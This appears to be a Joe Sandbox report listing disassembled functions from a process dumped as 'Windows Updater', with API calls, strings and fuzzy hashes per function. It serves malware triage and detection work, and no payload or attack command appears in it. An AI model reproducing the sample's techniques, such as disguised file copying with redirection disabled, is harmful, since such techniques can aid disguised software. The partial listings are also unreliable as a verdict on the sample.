Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$Rect$InvalidateItemPoints
String ID:
API String ID: 2775623374-0
Opcode ID: a2591d69faed4227cc8090957bf868aecd791b582380afe413cb59a1c9fdb773
Instruction ID: 3c3efca48d7f514451aa8959a6bde7a5bdc262aea4e3efd33169f75a10ed7003
Opcode Fuzzy Hash: a2591d69faed4227cc8090957bf868aecd791b582380afe413cb59a1c9fdb773
Instruction Fuzzy Hash: E7D12D75604205DFCB18CF6CC985AABBBE9BF88304F089A2DF989CB255D730E944CB51

Uniqueness

Uniqueness Score: -1.00%

Function 005E22E0 Relevance: 25.8, APIs: 17, Instructions: 335COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 005E2325
GetWindowRect.USER32(00000000,?), ref: 005E2333
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 005E2363
InvalidateRect.USER32(00000000,00000000,00000001), ref: 005E2658
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 005E2681

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$Rect$InvalidateItemPoints
String ID:
API String ID: 2775623374-0
Opcode ID: 6a46fbaeab1d8ee12f586456a062c1a7e15a1d9b07c66c0d47169def83427442
Instruction ID: 7a69071ae7399b8d6352d86b917daecb266d9c149230539ac984ad7f50706a95
Opcode Fuzzy Hash: 6a46fbaeab1d8ee12f586456a062c1a7e15a1d9b07c66c0d47169def83427442
Instruction Fuzzy Hash: 02D129756042459FCB08CF6DC985A6BBBE9BF88304F088A6DF989CB259D730E944CB51

Uniqueness

Uniqueness Score: -1.00%

Function 005A0180 Relevance: 22.8, APIs: 15, Instructions: 285COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(00000000,00000001), ref: 005A01B4

Part of subcall function 005790D0: GetUserDefaultUILanguage.KERNEL32 ref: 0057913B

SetWindowTextW.USER32(00000000,00000000), ref: 005A01D4
SetWindowTextW.USER32(00000000,00000000), ref: 005A0223
SetWindowTextW.USER32(00000000,00000000), ref: 005A02AD
GetDlgItem.USER32(00000000,00000426), ref: 005A02C0
GetDlgItem.USER32(00000000,00000427), ref: 005A02CF
GetDlgItem.USER32(00000000,00000434), ref: 005A0327
SetWindowTextW.USER32(00000000,?), ref: 005A032E
GetDlgItem.USER32(428D0824,00000429), ref: 005A033F
SetWindowTextW.USER32(00000000,00000001), ref: 005A0358
SetWindowTextW.USER32(00000000,00000001), ref: 005A03A6
GetDlgItem.USER32(428D0824,00000428), ref: 005A03D6
SetWindowTextW.USER32(00000000,00000001), ref: 005A03F3
GetDlgItem.USER32(428D0824,00000001), ref: 005A0422
EnableWindow.USER32(00000000,00000000), ref: 005A042B

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$ItemText$DefaultEnableLanguageUser
String ID:
API String ID: 1451455406-0
Opcode ID: 90b1cc1f53c857bfc4950c356534e2ac021794ad7c429d259595400778ecc9ec
Instruction ID: 92d6968ca0bcda620a2145e2dc49710a16683dded35702d74aba86a2251ee1de
Opcode Fuzzy Hash: 90b1cc1f53c857bfc4950c356534e2ac021794ad7c429d259595400778ecc9ec
Instruction Fuzzy Hash: 90B15E30A0160ADFDB00DFA8CD48A9EFBB5FF49311F14C269E515AB2A2DB759D05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00572740 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,14058998), ref: 00572788
GetLastError.KERNEL32 ref: 005727AA
GetLastError.KERNEL32 ref: 0057282C
ReadFile.KERNEL32(00000000,00000000,00000400,00000000,00000000,00000400), ref: 0057287D
CloseHandle.KERNEL32(00000000), ref: 00572924

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 005727EE
b`^, xrefs: 005727F9
3`^, xrefs: 005728E2
l`^, xrefs: 00572822
X`^, xrefs: 00572890
N`^, xrefs: 00572904

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleRead
String ID: 3`^$Microsoft Enhanced RSA and AES Cryptographic Provider$N`^$X`^$b`^$l`^
API String ID: 3160720760-1033737245
Opcode ID: a7b23f951d600bd11ed31834775105f68398b09038c4b453be4492a2baf49c7c
Instruction ID: 81e2dd2363bec02c5455239254567e712b09b8505bc2885239f4f3a67078b190
Opcode Fuzzy Hash: a7b23f951d600bd11ed31834775105f68398b09038c4b453be4492a2baf49c7c
Instruction Fuzzy Hash: 9A518070A00319EFDB10CFA4ED48B9EBFB4FB09714F148159E914BB291C7B59A44DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005C0380 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 264COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNEL32(000F001F,00000000,00000000,14058998,?), ref: 005C03B3
GetLastError.KERNEL32 ref: 005C03C4
OpenEventW.KERNEL32(001F0003,00000000,00000000), ref: 005C04AC
GetLastError.KERNEL32 ref: 005C04B9
OpenEventW.KERNEL32(001F0003,00000000,?), ref: 005C05C8
GetLastError.KERNEL32 ref: 005C05D5

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 00597CF0: InitializeCriticalSection.KERNEL32(?,14058998,?), ref: 00597D2D
Part of subcall function 00597CF0: EnterCriticalSection.KERNEL32(?,14058998,?), ref: 00597D3A
Part of subcall function 00597CF0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0062F794,00000002), ref: 00597DD8
Part of subcall function 00597CF0: GetCurrentThreadId.KERNEL32 ref: 00597DF7

Strings

Unable to open Cmd event., xrefs: 005C050C
Unable to open WaitCmd event., xrefs: 005C0620
LastError: , xrefs: 005C0423, 005C0518, 005C062C
Unable to create file mapping., xrefs: 005C0417

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorLastOpen$CriticalCurrentEventProcessSection$EnterFileHeapInitializeMappingThread
String ID: LastError: $Unable to create file mapping.$Unable to open Cmd event.$Unable to open WaitCmd event.
API String ID: 1974056431-574013566
Opcode ID: 2f4e86098f437c646e14fa2c34bbae63f58e7ad834edd50b49478e14d2357d81
Instruction ID: 2fe1c0b55f1bac8fccce2672dfdfbe0c65e766e0a9c79f21b14401975c0fd385
Opcode Fuzzy Hash: 2f4e86098f437c646e14fa2c34bbae63f58e7ad834edd50b49478e14d2357d81
Instruction Fuzzy Hash: 6B91827090065A9FDB11EBB4CC09FAEBFA5BF85310F148659E815972D2EB70DA04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0058A610 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

GetDlgCtrlID.USER32(?), ref: 0058A637
GetParent.USER32 ref: 0058A648
GetDlgCtrlID.USER32(?), ref: 0058A653
SendMessageW.USER32(00000000,0000004E,00000000,?), ref: 0058A65E
GetParent.USER32(?), ref: 0058A67A
GetDlgCtrlID.USER32(?), ref: 0058A686
SendMessageW.USER32(00000000,00000111,?,?), ref: 0058A697

Strings

open, xrefs: 0058A6B1

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Ctrl$MessageParentSend
String ID: open
API String ID: 1194393872-2758837156
Opcode ID: ca176127e884902c7b35f40477db379b69fa806ac293a11f8fee70d9799c6f7d
Instruction ID: 1dd1f7572d2789af4e9052bc01ae238956ee65cb2222d8a361aa9b9ef70a8d0f
Opcode Fuzzy Hash: ca176127e884902c7b35f40477db379b69fa806ac293a11f8fee70d9799c6f7d
Instruction Fuzzy Hash: A9210B35204240AFD7105F58DC85BEA7FD6EF84321F488466FD55DA262C375C805DB72

Uniqueness

Uniqueness Score: -1.00%

Function 005DA370 Relevance: 16.8, APIs: 11, Instructions: 348registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DAB80: CharNextW.USER32(?,00000000,00000000,7591F360,?,005DB5CF,00000000,00000000,?,?,?,00000000,00000000,005DB873,?,?), ref: 005DABBB
Part of subcall function 005DAB80: CharNextW.USER32(00000001,?,00000000,00000000,7591F360,?,005DB5CF,00000000,00000000,?,?,?,00000000,00000000,005DB873,?), ref: 005DABDB
Part of subcall function 005DAB80: CharNextW.USER32(00000000,?,00000000,00000000,7591F360,?,005DB5CF,00000000,00000000,?,?,?,00000000,00000000,005DB873,?), ref: 005DABEB
Part of subcall function 005DAB80: CharNextW.USER32(00000027,?,00000000,00000000,7591F360,?,005DB5CF,00000000,00000000,?,?,?,00000000,00000000,005DB873,?), ref: 005DABF4
Part of subcall function 005DAB80: CharNextW.USER32(?,?,00000000,00000000,7591F360,?,005DB5CF,00000000,00000000,?,?,?,00000000,00000000,005DB873,?), ref: 005DAC60

lstrcmpiW.KERNEL32(?,00631CD8,?,14058998,?,00000000,00000000), ref: 005DA3F7
lstrcmpiW.KERNEL32(?,00631CDC,?,?,?,?,?,?,?,?,?,0002001F), ref: 005DA40E
RegSetValueExW.ADVAPI32(?,?,00000000,00000003,?,?,?,?,?), ref: 005DA5C4
RegSetValueExW.ADVAPI32(00000000,?,00000000,00000001,?,00000000,?), ref: 005DA61A
VarUI4FromStr.OLEAUT32(?,00000000,00000000,?), ref: 005DA644
RegSetValueExW.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,?,0002001F), ref: 005DA66D
CharNextW.USER32(?,?,?,?,?,?,?,?,?,?,?,0002001F), ref: 005DA735
CharNextW.USER32(00000000,?,?,?,?,?,?,?,?,?,0002001F), ref: 005DA74B
RegSetValueExW.ADVAPI32(?,?,00000000,00000007,00000000,00000000,?), ref: 005DA7A9

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CharNext$Value$lstrcmpi$From
String ID:
API String ID: 252513887-0
Opcode ID: 5c5685fb89f98b7b6af91c39f9866c331c2a501b0d543542826d77a468380fa2
Instruction ID: 638c64822a1d6e999635282af228e139925055805eab5c6d60c6a35075671e5b
Opcode Fuzzy Hash: 5c5685fb89f98b7b6af91c39f9866c331c2a501b0d543542826d77a468380fa2
Instruction Fuzzy Hash: 1DD18A75900249DBDF34DF68C988BEE7BB4FF54310F14852BEA09AB280E7749A45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 005D2200 Relevance: 16.7, APIs: 11, Instructions: 247threadsynchronizationwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005BFA40: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104), ref: 005BFA6A
Part of subcall function 005BFA40: RegisterWindowMessageW.USER32(00000000,?), ref: 005BFABD

PostThreadMessageW.USER32(?,?,00000001,?), ref: 005D2282
GetLastError.KERNEL32 ref: 005D228C

Part of subcall function 005A4310: GetCurrentThreadId.KERNEL32 ref: 005A4346
Part of subcall function 005A4310: EnterCriticalSection.KERNEL32(0064E400), ref: 005A4366
Part of subcall function 005A4310: LeaveCriticalSection.KERNEL32(0064E400), ref: 005A438A

GetActiveWindow.USER32 ref: 005D2351
SetLastError.KERNEL32(0000000E), ref: 005D236E
DialogBoxParamW.USER32(0000006E,00000000,005ACB80,00000000,?), ref: 005D239D
GetExitCodeThread.KERNEL32(?,00000000), ref: 005D23C8
GetLastError.KERNEL32 ref: 005D23D3
WaitForSingleObject.KERNEL32(?,?), ref: 005D2456
GetExitCodeThread.KERNEL32(?,00000000), ref: 005D2470
TerminateThread.KERNEL32(?,00000000), ref: 005D2484
CloseHandle.KERNEL32(?), ref: 005D248D

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Thread$ErrorLast$CodeCriticalExitMessageSectionWindow$ActiveCloseCurrentDialogEnterFileHandleLeaveModuleNameObjectParamPostRegisterSingleTerminateWait
String ID:
API String ID: 3015138614-0
Opcode ID: 1db7e2880fda15222afd1c121b8f5860e81434aaaf79bedcee404d08eb57a7f1
Instruction ID: 0817c5d21fab2a160489205163bf07b4424bf56be39cf75d3d21d9bcae674e6b
Opcode Fuzzy Hash: 1db7e2880fda15222afd1c121b8f5860e81434aaaf79bedcee404d08eb57a7f1
Instruction Fuzzy Hash: 29A15870500689EFDB24CFA8CC48B8ABFA5BF15314F14826AF8159B291D7B5E948CF91

Uniqueness

Uniqueness Score: -1.00%

Function 005E06A0 Relevance: 16.7, APIs: 11, Instructions: 191COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000352,00000258,00000016), ref: 005E06D6

Part of subcall function 005A11F0: GetWindowLongW.USER32(428D0824,000000F0), ref: 005A1237
Part of subcall function 005A11F0: GetParent.USER32 ref: 005A124D
Part of subcall function 005A11F0: GetWindowRect.USER32(428D0824,?), ref: 005A1258
Part of subcall function 005A11F0: GetParent.USER32(428D0824), ref: 005A1260
Part of subcall function 005A11F0: GetClientRect.USER32(00000000,?), ref: 005A126F
Part of subcall function 005A11F0: GetClientRect.USER32(?,?), ref: 005A1278
Part of subcall function 005A11F0: MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 005A1284

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$Rect$ClientParent$LongPoints
String ID:
API String ID: 1162637445-0
Opcode ID: e601ef12b34089a8065b9ce32cd65e69bdfbf0c4ded3132e065ebafa52852e0c
Instruction ID: 342c663e5b1087d731e244b50e7156abe906094959adbae6398a2962b427a9e6
Opcode Fuzzy Hash: e601ef12b34089a8065b9ce32cd65e69bdfbf0c4ded3132e065ebafa52852e0c
Instruction Fuzzy Hash: F161E9B5700646AFEB149F15DC45F96BFA5FB54320F048126F958872D1C7B2ACA0DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0058C5E0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 270libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 005774A0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00577505
Part of subcall function 005774A0: _wcschr.LIBVCRUNTIME ref: 00577596

GetProcAddress.KERNEL32(?,GetPackagePath), ref: 0058C786
GetProcAddress.KERNEL32(?,GetPackagePath), ref: 0058C7D4
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 0058C7EF
FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000), ref: 0058C8CF

Strings

neutral, xrefs: 0058C69F
x64, xrefs: 0058C683
GetPackagePath, xrefs: 0058C780, 0058C7CE
x86, xrefs: 0058C655

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AddressProc$DirectoryErrorFreeLastLibrarySystem_wcschr
String ID: GetPackagePath$neutral$x64$x86
API String ID: 3734293021-1738950451
Opcode ID: f9b25c688f47c786817a3d0b09a2dc1b79cc42a3cbbb290462a96844c4945bb3
Instruction ID: ec33068a5a8edcc6537dd6947a720c27067375bf5e5d42b9dca15e9a291948d7
Opcode Fuzzy Hash: f9b25c688f47c786817a3d0b09a2dc1b79cc42a3cbbb290462a96844c4945bb3
Instruction Fuzzy Hash: B6B17B30A0160A9FDB04DFA8C948A9DFFB5FF58314F148169E815EB2A1EB749D41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 005A44C0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 214registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0064E400,14058998,?), ref: 005A4536
GetClassInfoExW.USER32(00000000,D7FF2C76,?), ref: 005A4576
GetClassInfoExW.USER32(D7FF2C76,00000030), ref: 005A4589
LeaveCriticalSection.KERNEL32(0064E400), ref: 005A459B
LoadCursorW.USER32(00570000,00045B68), ref: 005A45F7
GetClassInfoExW.USER32(006A006A,4568006A,?), ref: 005A4652
RegisterClassExW.USER32(005A3EE5), ref: 005A4669
LeaveCriticalSection.KERNEL32(0064E400), ref: 005A4729

Strings

ATL:%p, xrefs: 005A4617

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Class$CriticalInfoSection$Leave$CursorEnterLoadRegister
String ID: ATL:%p
API String ID: 269841140-4171052921
Opcode ID: 60be2473f9179d8e82705901a248f48bcbd5dfbfc09dc1378d3991841606a9fa
Instruction ID: 0f760301faf2167a95da111d952c56646f9e4e2ea51d3cd58ffe4dfc2b65b8b0
Opcode Fuzzy Hash: 60be2473f9179d8e82705901a248f48bcbd5dfbfc09dc1378d3991841606a9fa
Instruction Fuzzy Hash: 4C81CB74D007448BDB20CFA8C944AAABBF5FF9A314F14862DD895A7690E7B1B981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 005E26D0 Relevance: 15.2, APIs: 10, Instructions: 196COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000001), ref: 005E2789
EndDialog.USER32(?,00000002), ref: 005E27AA
CoTaskMemFree.OLE32(00000000), ref: 005E2895
SHBrowseForFolderW.SHELL32(00000000), ref: 005E28A2
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 005E28C0
SetWindowTextW.USER32(?,?), ref: 005E28D4
CoTaskMemFree.OLE32(00000000), ref: 005E28E4

Part of subcall function 005E2B10: GetDlgItem.USER32(?,00000001), ref: 005E2B4E
Part of subcall function 005E2B10: SetWindowTextW.USER32(00000000,?), ref: 005E2B6E
Part of subcall function 005E2B10: GetDlgItem.USER32(?,00000002), ref: 005E2B9C
Part of subcall function 005E2B10: SetWindowTextW.USER32(00000000,?), ref: 005E2BBC
Part of subcall function 005E2B10: IsAppThemed.UXTHEME ref: 005E2BE7
Part of subcall function 005E2B10: EnableThemeDialogTexture.UXTHEME(?,00000006), ref: 005E2BF5
Part of subcall function 005E2B10: SetWindowTextW.USER32(00000000,?), ref: 005E2C19
Part of subcall function 005E2B10: GetDlgItem.USER32(?,000003FE), ref: 005E2C47

GetDlgItem.USER32(?,0000E801), ref: 005E2955
ShowWindow.USER32(00000000,00000000), ref: 005E2966
ShowWindow.USER32(00000000,00000005), ref: 005E2975

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$ItemText$Dialog$FreeShowTask$BrowseEnableFolderFromListPathTextureThemeThemed
String ID:
API String ID: 3755691158-0
Opcode ID: 33e8cfd08eeb0d0c6ad5cf293c8f7e117d4de01c1d90bb1e9a1c525c8cbff9a2
Instruction ID: 81f4e7ecc8a3a2103a409e3c7db6dee108c6961e2bc0835db656dacadae72e28
Opcode Fuzzy Hash: 33e8cfd08eeb0d0c6ad5cf293c8f7e117d4de01c1d90bb1e9a1c525c8cbff9a2
Instruction Fuzzy Hash: 1E81C2B09002998BDF28CF25C8487AABBB9FB44314F1051A9E989D7286D7759EC5CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0058A250 Relevance: 15.1, APIs: 10, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0058A2BD
SendMessageW.USER32(00000000,00000138,?,?), ref: 0058A2CD
GetClientRect.USER32(?,?), ref: 0058A2E8
FillRect.USER32(?,?,?), ref: 0058A2F6

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Rect$ClientFillMessageParentSend
String ID:
API String ID: 425900729-0
Opcode ID: 36aa1f905f1d3c63c0fd91dc1ae666923ed99f82c07b1bb9f96cc62a7375c77c
Instruction ID: 27430dc76c2cba3717c0cd7a9ffb1c0c35aa94e57347577ead30f46994a02b09
Opcode Fuzzy Hash: 36aa1f905f1d3c63c0fd91dc1ae666923ed99f82c07b1bb9f96cc62a7375c77c
Instruction Fuzzy Hash: F4516CB1D05609EFDB11DFA4C904B9EBFF9FF08310F24426AE815A7291D771AA00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 005E02F0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 297COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 005E033D
_wcsrchr.LIBVCRUNTIME ref: 005E0518

Strings

HKUD, xrefs: 005E04BB
HKU, xrefs: 005E03FB
HKLM, xrefs: 005E0374
HKCU, xrefs: 005E03BA
HKCR, xrefs: 005E047D
HKCC, xrefs: 005E043C

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: _wcschr_wcsrchr
String ID: HKCC$HKCR$HKCU$HKLM$HKU$HKUD
API String ID: 3129836354-2836228076
Opcode ID: bbc9a8ca9f1fb9eed7aa61a78126c325a8043c045da02b3e09389ed8eb295b67
Instruction ID: 850bf6aa4d82ad42a34e5147fc361f8187b96fb19f440815c6b6d73d530f1344
Opcode Fuzzy Hash: bbc9a8ca9f1fb9eed7aa61a78126c325a8043c045da02b3e09389ed8eb295b67
Instruction Fuzzy Hash: 3CA117336011828BDF2C8F2AC9547AFBB72FF51724F149258D952AB2D1E7B19C81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0057E050 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,14058998,?), ref: 0057E0A4
GetTempPathW.KERNEL32(00000104,?), ref: 0057E139
GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?), ref: 0057E16A
Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 0057E19D
CopyFileW.KERNEL32(?,?,00000000), ref: 0057E1BF
Wow64RevertWow64FsRedirection.KERNEL32(00000000,?,00000000), ref: 0057E1EE

Strings

shim_clone, xrefs: 0057E15E

Memory Dump Source

